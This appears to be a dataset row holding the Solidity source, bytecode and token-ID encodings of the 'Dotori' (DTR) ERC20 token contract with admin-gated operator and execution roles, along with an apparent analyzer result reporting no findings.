| [
101,
1014,
2595,
2683,
27009,
2546,
2692,
18139,
2063,
2683,
28154,
2683,
2549,
2546,
2620,
2581,
23352,
2692,
7959,
2620,
2475,
4215,
20952,
2549,
6679,
2475,
2546,
2509,
2546,
29097,
8586,
2683,
2546,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,536 | 0x954f330b662c937bc64c874d2100c6075b1a99c6 | pragma solidity ^0.5.2;
contract Admin {
address internal _admin;
event AdminChanged(address oldAdmin, address newAdmin);
/// @notice gives the current administrator of this contract.
/// @return the current administrator of this contract.
function getAdmin() external view returns (address) {
return _admin;
}
/// @notice change the administrator to be `newAdmin`.
/// @param newAdmin address of the new administrator.
function changeAdmin(address newAdmin) external {
require(msg.sender == _admin, "only admin can change admin");
emit AdminChanged(_admin, newAdmin);
_admin = newAdmin;
}
}
contract SuperOperators is Admin {
mapping(address => bool) internal _superOperators;
event SuperOperator(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `superOperator` to transfer tokens of all (superOperator rights).
/// @param superOperator address that will be given/removed superOperator right.
/// @param enabled set whether the superOperator is enabled or disabled.
function setSuperOperator(address superOperator, bool enabled) external {
require(
msg.sender == _admin,
"only admin is allowed to add super operators"
);
_superOperators[superOperator] = enabled;
emit SuperOperator(superOperator, enabled);
}
/// @notice check whether address `who` is given superOperator rights.
/// @param who The address to query.
/// @return whether the address has superOperator rights.
function isSuperOperator(address who) public view returns (bool) {
return _superOperators[who];
}
}
contract ERC20Events {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library BytesUtil {
function memcpy(uint256 dest, uint256 src, uint256 len) internal pure {
// Copy word-length chunks while possible
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint256 mask = 256**(32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function pointerToBytes(uint256 src, uint256 len)
internal
pure
returns (bytes memory)
{
bytes memory ret = new bytes(len);
uint256 retptr;
assembly {
retptr := add(ret, 32)
}
memcpy(retptr, src, len);
return ret;
}
function addressToBytes(address a) internal pure returns (bytes memory b) {
assembly {
let m := mload(0x40)
mstore(
add(m, 20),
xor(0x140000000000000000000000000000000000000000, a)
)
mstore(0x40, add(m, 52))
b := m
}
}
function uint256ToBytes(uint256 a) internal pure returns (bytes memory b) {
assembly {
let m := mload(0x40)
mstore(add(m, 32), a)
mstore(0x40, add(m, 64))
b := m
}
}
function doFirstParamEqualsAddress(bytes memory data, address _address)
internal
pure
returns (bool)
{
if (data.length < (36 + 32)) {
return false;
}
uint256 value;
assembly {
value := mload(add(data, 36))
}
return value == uint256(_address);
}
function doParamEqualsUInt256(bytes memory data, uint256 i, uint256 value)
internal
pure
returns (bool)
{
if (data.length < (36 + (i + 1) * 32)) {
return false;
}
uint256 offset = 36 + i * 32;
uint256 valuePresent;
assembly {
valuePresent := mload(add(data, offset))
}
return valuePresent == value;
}
function overrideFirst32BytesWithAddress(
bytes memory data,
address _address
) internal pure returns (bytes memory) {
uint256 dest;
assembly {
dest := add(data, 48)
} // 48 = 32 (offset) + 4 (func sig) + 12 (address is only 20 bytes)
bytes memory addressBytes = addressToBytes(_address);
uint256 src;
assembly {
src := add(addressBytes, 32)
}
memcpy(dest, src, 20);
return data;
}
function overrideFirstTwo32BytesWithAddressAndInt(
bytes memory data,
address _address,
uint256 _value
) internal pure returns (bytes memory) {
uint256 dest;
uint256 src;
assembly {
dest := add(data, 48)
} // 48 = 32 (offset) + 4 (func sig) + 12 (address is only 20 bytes)
bytes memory bbytes = addressToBytes(_address);
assembly {
src := add(bbytes, 32)
}
memcpy(dest, src, 20);
assembly {
dest := add(data, 68)
} // 48 = 32 (offset) + 4 (func sig) + 32 (next slot)
bbytes = uint256ToBytes(_value);
assembly {
src := add(bbytes, 32)
}
memcpy(dest, src, 32);
return data;
}
}
contract ERC20BaseToken is SuperOperators, ERC20Events {
uint256 internal _totalSupply;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
/// @notice Gets the total number of tokens in existence.
/// @return the total number of tokens in existence.
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/// @notice Gets the balance of `owner`.
/// @param owner The address to query the balance of.
/// @return The amount owned by `owner`.
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/// @notice gets allowance of `spender` for `owner`'s tokens.
/// @param owner address whose token is allowed.
/// @param spender address allowed to transfer.
/// @return the amount of token `spender` is allowed to transfer on behalf of `owner`.
function allowance(address owner, address spender)
public
view
returns (uint256 remaining)
{
return _allowances[owner][spender];
}
/// @notice returns the number of decimals for that token.
/// @return the number of decimals.
function decimals() public view returns (uint8) {
return uint8(18);
}
/// @notice Transfer `amount` tokens to `to`.
/// @param to the recipient address of the tokens transfered.
/// @param amount the number of tokens transfered.
/// @return true if success.
function transfer(address to, uint256 amount)
public
returns (bool success)
{
_transfer(msg.sender, to, amount);
return true;
}
/// @notice Transfer `amount` tokens from `from` to `to`.
/// @param from whose token it is transferring from.
/// @param to the recipient address of the tokens transfered.
/// @param amount the number of tokens transfered.
/// @return true if success.
function transferFrom(address from, address to, uint256 amount)
public
returns (bool success)
{
if (msg.sender != from && !_superOperators[msg.sender]) {
uint256 currentAllowance = _allowances[from][msg.sender];
if (currentAllowance != (2**256) - 1) {
// save gas when allowance is maximal by not reducing it (see https://github.com/ethereum/EIPs/issues/717)
require(currentAllowance >= amount, "Not enough funds allowed");
_allowances[from][msg.sender] = currentAllowance - amount;
}
}
_transfer(from, to, amount);
return true;
}
/// @notice burn `amount` tokens.
/// @param amount the number of tokens to burn.
/// @return true if success.
function burn(uint256 amount) external returns (bool) {
_burn(msg.sender, amount);
return true;
}
/// @notice burn `amount` tokens from `owner`.
/// @param owner address whose token is to burn.
/// @param amount the number of token to burn.
/// @return true if success.
function burnFor(address owner, uint256 amount) external returns (bool) {
_burn(owner, amount);
return true;
}
/// @notice approve `spender` to transfer `amount` tokens.
/// @param spender address to be given rights to transfer.
/// @param amount the number of tokens allowed.
/// @return true if success.
function approve(address spender, uint256 amount)
public
returns (bool success)
{
_approveFor(msg.sender, spender, amount);
return true;
}
/// @notice approve `spender` to transfer `amount` tokens from `owner`.
/// @param owner address whose token is allowed.
/// @param spender address to be given rights to transfer.
/// @param amount the number of tokens allowed.
/// @return true if success.
function approveFor(address owner, address spender, uint256 amount)
public
returns (bool success)
{
require(
msg.sender == owner || _superOperators[msg.sender],
"msg.sender != owner && !superOperator"
);
_approveFor(owner, spender, amount);
return true;
}
function addAllowanceIfNeeded(address owner, address spender, uint256 amountNeeded)
public
returns (bool success)
{
require(
msg.sender == owner || _superOperators[msg.sender],
"msg.sender != owner && !superOperator"
);
_addAllowanceIfNeeded(owner, spender, amountNeeded);
return true;
}
function _addAllowanceIfNeeded(address owner, address spender, uint256 amountNeeded)
internal
{
if(amountNeeded > 0 && !isSuperOperator(spender)) {
uint256 currentAllowance = _allowances[owner][spender];
if(currentAllowance < amountNeeded) {
_approveFor(owner, spender, amountNeeded);
}
}
}
function _approveFor(address owner, address spender, uint256 amount)
internal
{
require(
owner != address(0) && spender != address(0),
"Cannot approve with 0x0"
);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) internal {
require(to != address(0), "Cannot send to 0x0");
uint256 currentBalance = _balances[from];
require(currentBalance >= amount, "not enough fund");
_balances[from] = currentBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _mint(address to, uint256 amount) internal {
require(to != address(0), "Cannot mint to 0x0");
require(amount > 0, "cannot mint 0 tokens");
uint256 currentTotalSupply = _totalSupply;
uint256 newTotalSupply = currentTotalSupply + amount;
require(newTotalSupply > currentTotalSupply, "overflow");
_totalSupply = newTotalSupply;
_balances[to] += amount;
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal {
require(amount > 0, "cannot burn 0 tokens");
if (msg.sender != from && !_superOperators[msg.sender]) {
uint256 currentAllowance = _allowances[from][msg.sender];
require(
currentAllowance >= amount,
"Not enough funds allowed"
);
if (currentAllowance != (2**256) - 1) {
// save gas when allowance is maximal by not reducing it (see https://github.com/ethereum/EIPs/issues/717)
_allowances[from][msg.sender] = currentAllowance - amount;
}
}
uint256 currentBalance = _balances[from];
require(currentBalance >= amount, "Not enough funds");
_balances[from] = currentBalance - amount;
_totalSupply -= amount;
emit Transfer(from, address(0), amount);
}
}
contract ERC20BasicApproveExtension {
/// @notice approve `target` to spend `amount` and call it with data.
/// @param target address to be given rights to transfer and destination of the call.
/// @param amount the number of tokens allowed.
/// @param data bytes for the call.
/// @return data of the call.
function approveAndCall(
address target,
uint256 amount,
bytes calldata data
) external payable returns (bytes memory) {
require(
BytesUtil.doFirstParamEqualsAddress(data, msg.sender),
"first param != sender"
);
_approveFor(msg.sender, target, amount);
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(msg.value)(data);
require(success, string(returnData));
return returnData;
}
/// @notice temporarly approve `target` to spend `amount` and call it with data. Previous approvals remains unchanged.
/// @param target destination of the call, allowed to spend the amount specified
/// @param amount the number of tokens allowed to spend.
/// @param data bytes for the call.
/// @return data of the call.
function paidCall(
address target,
uint256 amount,
bytes calldata data
) external payable returns (bytes memory) {
require(
BytesUtil.doFirstParamEqualsAddress(data, msg.sender),
"first param != sender"
);
if (amount > 0) {
_addAllowanceIfNeeded(msg.sender, target, amount);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(msg.value)(data);
require(success, string(returnData));
return returnData;
}
function _approveFor(address owner, address target, uint256 amount) internal;
function _addAllowanceIfNeeded(address owner, address spender, uint256 amountNeeded) internal;
}
contract ERC20ExecuteExtension {
/// @dev _executionAdmin != _admin so that this super power can be disabled independently
address internal _executionAdmin;
event ExecutionAdminAdminChanged(address oldAdmin, address newAdmin);
/// @notice give the address responsible for adding execution rights.
/// @return address of the execution administrator.
function getExecutionAdmin() external view returns (address) {
return _executionAdmin;
}
/// @notice change the execution adminstrator to be `newAdmin`.
/// @param newAdmin address of the new administrator.
function changeExecutionAdmin(address newAdmin) external {
require(msg.sender == _executionAdmin, "only executionAdmin can change executionAdmin");
emit ExecutionAdminAdminChanged(_executionAdmin, newAdmin);
_executionAdmin = newAdmin;
}
mapping(address => bool) internal _executionOperators;
event ExecutionOperator(address executionOperator, bool enabled);
/// @notice set `executionOperator` as executionOperator: `enabled`.
/// @param executionOperator address that will be given/removed executionOperator right.
/// @param enabled set whether the executionOperator is enabled or disabled.
function setExecutionOperator(address executionOperator, bool enabled) external {
require(
msg.sender == _executionAdmin,
"only execution admin is allowed to add execution operators"
);
_executionOperators[executionOperator] = enabled;
emit ExecutionOperator(executionOperator, enabled);
}
/// @notice check whether address `who` is given executionOperator rights.
/// @param who The address to query.
/// @return whether the address has executionOperator rights.
function isExecutionOperator(address who) public view returns (bool) {
return _executionOperators[who];
}
/// @notice execute on behalf of the contract.
/// @param to destination address fo the call.
/// @param gasLimit exact amount of gas to be passed to the call.
/// @param data the bytes sent to the destination address.
/// @return success whether the execution was successful.
/// @return returnData data resulting from the execution.
function executeWithSpecificGas(address to, uint256 gasLimit, bytes calldata data) external returns (bool success, bytes memory returnData) {
require(_executionOperators[msg.sender], "only execution operators allowed to execute on Dotori behalf");
(success, returnData) = to.call.gas(gasLimit)(data);
assert(gasleft() > gasLimit / 63); // not enough gas provided, assert to throw all gas // TODO use EIP-1930
}
/// @notice approve a specific amount of token for `from` and execute on behalf of the contract.
/// @param from address of which token will be transfered.
/// @param to destination address fo the call.
/// @param amount number of tokens allowed that can be transfer by the code at `to`.
/// @param gasLimit exact amount of gas to be passed to the call.
/// @param data the bytes sent to the destination address.
/// @return success whether the execution was successful.
/// @return returnData data resulting from the execution.
function approveAndExecuteWithSpecificGas(
address from,
address to,
uint256 amount,
uint256 gasLimit,
bytes calldata data
) external returns (bool success, bytes memory returnData) {
require(_executionOperators[msg.sender], "only execution operators allowed to execute on Dotori behalf");
return _approveAndExecuteWithSpecificGas(from, to, amount, gasLimit, data);
}
/// @dev the reason for this function is that charging for gas here is more gas-efficient than doing it in the caller.
/// @notice approve a specific amount of token for `from` and execute on behalf of the contract. Plus charge the gas required to perform it.
/// @param from address of which token will be transfered.
/// @param to destination address fo the call.
/// @param amount number of tokens allowed that can be transfer by the code at `to`.
/// @param gasLimit exact amount of gas to be passed to the call.
/// @param tokenGasPrice price in token for the gas to be charged.
/// @param baseGasCharge amount of gas charged on top of the gas used for the call.
/// @param tokenReceiver recipient address of the token charged for the gas used.
/// @param data the bytes sent to the destination address.
/// @return success whether the execution was successful.
/// @return returnData data resulting from the execution.
function approveAndExecuteWithSpecificGasAndChargeForIt(
address from,
address to,
uint256 amount,
uint256 gasLimit,
uint256 tokenGasPrice,
uint256 baseGasCharge,
address tokenReceiver,
bytes calldata data
) external returns (bool success, bytes memory returnData) {
uint256 initialGas = gasleft();
require(_executionOperators[msg.sender], "only execution operators allowed to execute on Dotori behalf");
(success, returnData) = _approveAndExecuteWithSpecificGas(from, to, amount, gasLimit, data);
if (tokenGasPrice > 0) {
_charge(from, gasLimit, tokenGasPrice, initialGas, baseGasCharge, tokenReceiver);
}
}
/// @notice transfer 1amount1 token from `from` to `to` and charge the gas required to perform that transfer.
/// @param from address of which token will be transfered.
/// @param to destination address fo the call.
/// @param amount number of tokens allowed that can be transfer by the code at `to`.
/// @param gasLimit exact amount of gas to be passed to the call.
/// @param tokenGasPrice price in token for the gas to be charged.
/// @param baseGasCharge amount of gas charged on top of the gas used for the call.
/// @param tokenReceiver recipient address of the token charged for the gas used.
/// @return whether the transfer was successful.
function transferAndChargeForGas(
address from,
address to,
uint256 amount,
uint256 gasLimit,
uint256 tokenGasPrice,
uint256 baseGasCharge,
address tokenReceiver
) external returns (bool) {
uint256 initialGas = gasleft();
require(_executionOperators[msg.sender], "only execution operators allowed to perfrom transfer and charge");
_transfer(from, to, amount);
if (tokenGasPrice > 0) {
_charge(from, gasLimit, tokenGasPrice, initialGas, baseGasCharge, tokenReceiver);
}
return true;
}
function _charge(
address from,
uint256 gasLimit,
uint256 tokenGasPrice,
uint256 initialGas,
uint256 baseGasCharge,
address tokenReceiver
) internal {
uint256 gasCharge = initialGas - gasleft();
if(gasCharge > gasLimit) {
gasCharge = gasLimit;
}
gasCharge += baseGasCharge;
uint256 tokensToCharge = gasCharge * tokenGasPrice;
require(tokensToCharge / gasCharge == tokenGasPrice, "overflow");
_transfer(from, tokenReceiver, tokensToCharge);
}
function _approveAndExecuteWithSpecificGas(
address from,
address to,
uint256 amount,
uint256 gasLimit,
bytes memory data
) internal returns (bool success, bytes memory returnData) {
if (amount > 0) {
_addAllowanceIfNeeded(from, to, amount);
}
(success, returnData) = to.call.gas(gasLimit)(data);
assert(gasleft() > gasLimit / 63); // not enough gas provided, assert to throw all gas // TODO use EIP-1930
}
function _transfer(address from, address to, uint256 amount) internal;
function _addAllowanceIfNeeded(address owner, address spender, uint256 amountNeeded) internal;
}
contract Dotori is ERC20ExecuteExtension, ERC20BasicApproveExtension, ERC20BaseToken {
constructor(address DotoriAdmin, address executionAdmin, address beneficiary) public {
_admin = DotoriAdmin;
_executionAdmin = executionAdmin;
_mint(beneficiary, 10000000000000000000000000000);
}
/// @notice A descriptive name for the tokens
/// @return name of the tokens
function name() public view returns (string memory) {
return "Dotori";
}
/// @notice An abbreviated name for the tokens
/// @return symbol of the tokens
function symbol() public view returns (string memory) {
return "DTR";
}
} | 0x6080604052600436106101b9576000357c0100000000000000000000000000000000000000000000000000000000900480636e9960c311610109578063b01b0ef7116100a7578063dc2173f311610081578063dc2173f31461084d578063dcdf515814610904578063dd62ed3e14610996578063e18aa335146109d1576101b9565b8063b01b0ef71461072e578063bb1e23cb14610743578063cae9ca51146107c8576101b9565b80638f283970116100e35780638f2839701461067257806395d89b41146106a5578063a9059cbb146106ba578063ac9fe421146106f3576101b9565b80636e9960c3146104e957806370a082311461051a5780637dd711c41461054d576101b9565b80632b9917461161017657806342966c681161015057806342966c681461041e57806361247de314610448578063654b748a1461047b578063699c834b146104ae576101b9565b80632b9917461461036d578063313ce567146103b05780633b7b5a16146103db576101b9565b806306fdde03146101be5780630819ba7414610248578063095ea7b31461027d57806318160ddd146102ca5780631dd319cb146102f157806323b872dd1461032a575b600080fd5b3480156101ca57600080fd5b506101d3610a2e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561020d5781810151838201526020016101f5565b50505050905090810190601f16801561023a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025457600080fd5b5061027b6004803603602081101561026b57600080fd5b5035600160a060020a0316610a65565b005b34801561028957600080fd5b506102b6600480360360408110156102a057600080fd5b50600160a060020a038135169060200135610b28565b604080519115158252519081900360200190f35b3480156102d657600080fd5b506102df610b3f565b60408051918252519081900360200190f35b3480156102fd57600080fd5b506102b66004803603604081101561031457600080fd5b50600160a060020a038135169060200135610b45565b34801561033657600080fd5b506102b66004803603606081101561034d57600080fd5b50600160a060020a03813581169160208101359091169060400135610b51565b34801561037957600080fd5b506102b66004803603606081101561039057600080fd5b50600160a060020a03813581169160208101359091169060400135610c46565b3480156103bc57600080fd5b506103c5610cb9565b6040805160ff9092168252519081900360200190f35b3480156103e757600080fd5b506102b6600480360360608110156103fe57600080fd5b50600160a060020a03813581169160208101359091169060400135610cbe565b34801561042a57600080fd5b506102b66004803603602081101561044157600080fd5b5035610d31565b34801561045457600080fd5b506102b66004803603602081101561046b57600080fd5b5035600160a060020a0316610d45565b34801561048757600080fd5b506102b66004803603602081101561049e57600080fd5b5035600160a060020a0316610d63565b3480156104ba57600080fd5b5061027b600480360360408110156104d157600080fd5b50600160a060020a0381351690602001351515610d81565b3480156104f557600080fd5b506104fe610e31565b60408051600160a060020a039092168252519081900360200190f35b34801561052657600080fd5b506102df6004803603602081101561053d57600080fd5b5035600160a060020a0316610e40565b34801561055957600080fd5b506105ef600480360360a081101561057057600080fd5b600160a060020a03823581169260208101359091169160408201359160608101359181019060a0810160808201356401000000008111156105b057600080fd5b8201836020820111156105c257600080fd5b803590602001918460018302840111640100000000831117156105e457600080fd5b509092509050610e5b565b604051808315151515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561063657818101518382015260200161061e565b50505050905090810190601f1680156106635780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b34801561067e57600080fd5b5061027b6004803603602081101561069557600080fd5b5035600160a060020a0316610f03565b3480156106b157600080fd5b506101d3610fdc565b3480156106c657600080fd5b506102b6600480360360408110156106dd57600080fd5b50600160a060020a038135169060200135611013565b3480156106ff57600080fd5b5061027b6004803603604081101561071657600080fd5b50600160a060020a0381351690602001351515611020565b34801561073a57600080fd5b506104fe6110d0565b6101d36004803603606081101561075957600080fd5b600160a060020a038235169160208101359181019060608101604082013564010000000081111561078957600080fd5b82018360208201111561079b57600080fd5b803590602001918460018302840111640100000000831117156107bd57600080fd5b5090925090506110df565b6101d3600480360360608110156107de57600080fd5b600160a060020a038235169160208101359181019060608101604082013564010000000081111561080e57600080fd5b82018360208201111561082057600080fd5b8035906020019184600183028401116401000000008311171561084257600080fd5b509092509050611293565b34801561085957600080fd5b506105ef600480360361010081101561087157600080fd5b600160a060020a038235811692602081013582169260408201359260608301359260808101359260a08201359260c0830135169190810190610100810160e08201356401000000008111156108c557600080fd5b8201836020820111156108d757600080fd5b803590602001918460018302840111640100000000831117156108f957600080fd5b509092509050611337565b34801561091057600080fd5b506105ef6004803603606081101561092757600080fd5b600160a060020a038235169160208101359181019060608101604082013564010000000081111561095757600080fd5b82018360208201111561096957600080fd5b8035906020019184600183028401116401000000008311171561098b57600080fd5b509092509050611402565b3480156109a257600080fd5b506102df600480360360408110156109b957600080fd5b50600160a060020a03813581169160200135166114d6565b3480156109dd57600080fd5b506102b6600480360360e08110156109f457600080fd5b50600160a060020a038135811691602081013582169160408201359160608101359160808201359160a08101359160c09091013516611501565b60408051808201909152600681527f446f746f72690000000000000000000000000000000000000000000000000000602082015290565b600054600160a060020a03163314610ab15760405160e560020a62461bcd02815260040180806020018281038252602d815260200180611c60602d913960400191505060405180910390fd5b60005460408051600160a060020a039283168152918316602083015280517fb2b670b34860515166c00eba5e2e5fa8116d57091604f37ba24ac8021c7fa1659281900390910190a16000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000610b3533848461158c565b5060015b92915050565b60045490565b6000610b358383611664565b600033600160a060020a03851614801590610b7c57503360009081526003602052604090205460ff16155b15610c3157600160a060020a03841660009081526006602090815260408083203384529091529020546000198114610c2f5782811015610c06576040805160e560020a62461bcd02815260206004820152601860248201527f4e6f7420656e6f7567682066756e647320616c6c6f7765640000000000000000604482015290519081900360640190fd5b600160a060020a0385166000908152600660209081526040808320338452909152902083820390555b505b610c3c84848461186e565b5060019392505050565b600033600160a060020a0385161480610c6e57503360009081526003602052604090205460ff165b1515610cae5760405160e560020a62461bcd028152600401808060200182810382526025815260200180611b966025913960400191505060405180910390fd5b610c3c84848461158c565b601290565b600033600160a060020a0385161480610ce657503360009081526003602052604090205460ff165b1515610d265760405160e560020a62461bcd028152600401808060200182810382526025815260200180611b966025913960400191505060405180910390fd5b610c3c8484846119aa565b6000610d3d3383611664565b506001919050565b600160a060020a031660009081526001602052604090205460ff1690565b600160a060020a031660009081526003602052604090205460ff1690565b600054600160a060020a03163314610dcd5760405160e560020a62461bcd02815260040180806020018281038252603a815260200180611bfa603a913960400191505060405180910390fd5b600160a060020a038216600081815260016020908152604091829020805460ff191685151590811790915582519384529083015280517ffcebaa973ed84808fb785c92941aa4798f3f66923f5a2ff544382db3a9b3a3a29281900390910190a15050565b600254600160a060020a031690565b600160a060020a031660009081526005602052604090205490565b3360009081526001602052604081205460609060ff161515610eb15760405160e560020a62461bcd02815260040180806020018281038252603c815260200180611c8d603c913960400191505060405180910390fd5b610ef48888888888888080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611a0592505050565b91509150965096945050505050565b600254600160a060020a03163314610f65576040805160e560020a62461bcd02815260206004820152601b60248201527f6f6e6c792061646d696e2063616e206368616e67652061646d696e0000000000604482015290519081900360640190fd5b60025460408051600160a060020a039283168152918316602083015280517f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f9281900390910190a16002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051808201909152600381527f4454520000000000000000000000000000000000000000000000000000000000602082015290565b6000610b3533848461186e565b600254600160a060020a0316331461106c5760405160e560020a62461bcd02815260040180806020018281038252602c815260200180611c34602c913960400191505060405180910390fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f44f92d27abdf4cfb6a7d712c3af68f3be086d4ca747ab802c36f67d6790060d89281900390910190a15050565b600054600160a060020a031690565b606061112283838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250339250611adc915050565b1515611178576040805160e560020a62461bcd02815260206004820152601560248201527f666972737420706172616d20213d2073656e6465720000000000000000000000604482015290519081900360640190fd5b600084111561118c5761118c3386866119aa565b6000606086600160a060020a0316348686604051808383808284376040519201945060009350909150508083038185875af1925050503d80600081146111ee576040519150601f19603f3d011682016040523d82523d6000602084013e6111f3565b606091505b509150915081819015156112885760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561124d578181015183820152602001611235565b50505050905090810190601f16801561127a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b509695505050505050565b60606112d683838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250339250611adc915050565b151561132c576040805160e560020a62461bcd02815260206004820152601560248201527f666972737420706172616d20213d2073656e6465720000000000000000000000604482015290519081900360640190fd5b61118c33868661158c565b6000606060005a3360009081526001602052604090205490915060ff1615156113945760405160e560020a62461bcd02815260040180806020018281038252603c815260200180611c8d603c913960400191505060405180910390fd5b6113d78c8c8c8c89898080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611a0592505050565b909350915060008811156113f3576113f38c8a8a848b8b611b07565b50995099975050505050505050565b3360009081526001602052604081205460609060ff1615156114585760405160e560020a62461bcd02815260040180806020018281038252603c815260200180611c8d603c913960400191505060405180910390fd5b85600160a060020a03168585856040518083838082843760405192019450600093509091505080830381838787f1925050503d80600081146114b6576040519150601f19603f3d011682016040523d82523d6000602084013e6114bb565b606091505b509092509050603f85045a116114cd57fe5b94509492505050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b6000805a3360009081526001602052604090205490915060ff16151561155b5760405160e560020a62461bcd02815260040180806020018281038252603f815260200180611bbb603f913960400191505060405180910390fd5b61156689898961186e565b600085111561157d5761157d898787848888611b07565b50600198975050505050505050565b600160a060020a038316158015906115ac5750600160a060020a03821615155b1515611602576040805160e560020a62461bcd02815260206004820152601760248201527f43616e6e6f7420617070726f7665207769746820307830000000000000000000604482015290519081900360640190fd5b600160a060020a03808416600081815260066020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600081116116bc576040805160e560020a62461bcd02815260206004820152601460248201527f63616e6e6f74206275726e203020746f6b656e73000000000000000000000000604482015290519081900360640190fd5b33600160a060020a038316148015906116e557503360009081526003602052604090205460ff16155b1561179a57600160a060020a038216600090815260066020908152604080832033845290915290205481811015611766576040805160e560020a62461bcd02815260206004820152601860248201527f4e6f7420656e6f7567682066756e647320616c6c6f7765640000000000000000604482015290519081900360640190fd5b600019811461179857600160a060020a0383166000908152600660209081526040808320338452909152902082820390555b505b600160a060020a0382166000908152600560205260409020548181101561180b576040805160e560020a62461bcd02815260206004820152601060248201527f4e6f7420656e6f7567682066756e647300000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a03831660008181526005602090815260408083208686039055600480548790039055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3505050565b600160a060020a03821615156118ce576040805160e560020a62461bcd02815260206004820152601260248201527f43616e6e6f742073656e6420746f203078300000000000000000000000000000604482015290519081900360640190fd5b600160a060020a0383166000908152600560205260409020548181101561193f576040805160e560020a62461bcd02815260206004820152600f60248201527f6e6f7420656e6f7567682066756e640000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a0380851660008181526005602090815260408083208787039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350505050565b6000811180156119c057506119be82610d63565b155b15611a0057600160a060020a03808416600090815260066020908152604080832093861683529290522054818110156119fe576119fe84848461158c565b505b505050565b600060606000851115611a1d57611a1d8787876119aa565b85600160a060020a031684846040518082805190602001908083835b60208310611a585780518252601f199092019160209182019101611a39565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038160008787f1925050503d8060008114611abb576040519150601f19603f3d011682016040523d82523d6000602084013e611ac0565b606091505b509092509050603f84045a11611ad257fe5b9550959350505050565b6000604483511015611af057506000610b39565b506024820151600160a060020a0382161492915050565b60005a8403905085811115611b195750845b8201848102858282811515611b2a57fe5b0414611b80576040805160e560020a62461bcd02815260206004820152600860248201527f6f766572666c6f77000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611b8b88848361186e565b505050505050505056fe6d73672e73656e64657220213d206f776e6572202626202173757065724f70657261746f726f6e6c7920657865637574696f6e206f70657261746f727320616c6c6f77656420746f2070657266726f6d207472616e7366657220616e64206368617267656f6e6c7920657865637574696f6e2061646d696e20697320616c6c6f77656420746f2061646420657865637574696f6e206f70657261746f72736f6e6c792061646d696e20697320616c6c6f77656420746f20616464207375706572206f70657261746f72736f6e6c7920657865637574696f6e41646d696e2063616e206368616e676520657865637574696f6e41646d696e6f6e6c7920657865637574696f6e206f70657261746f727320616c6c6f77656420746f2065786563757465206f6e20446f746f726920626568616c66a165627a7a723058209f0ad23270f4428a92d664bde045adc0e830faf0e310cc29798bf0e2f67a50f90029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
27009,
2546,
22394,
2692,
2497,
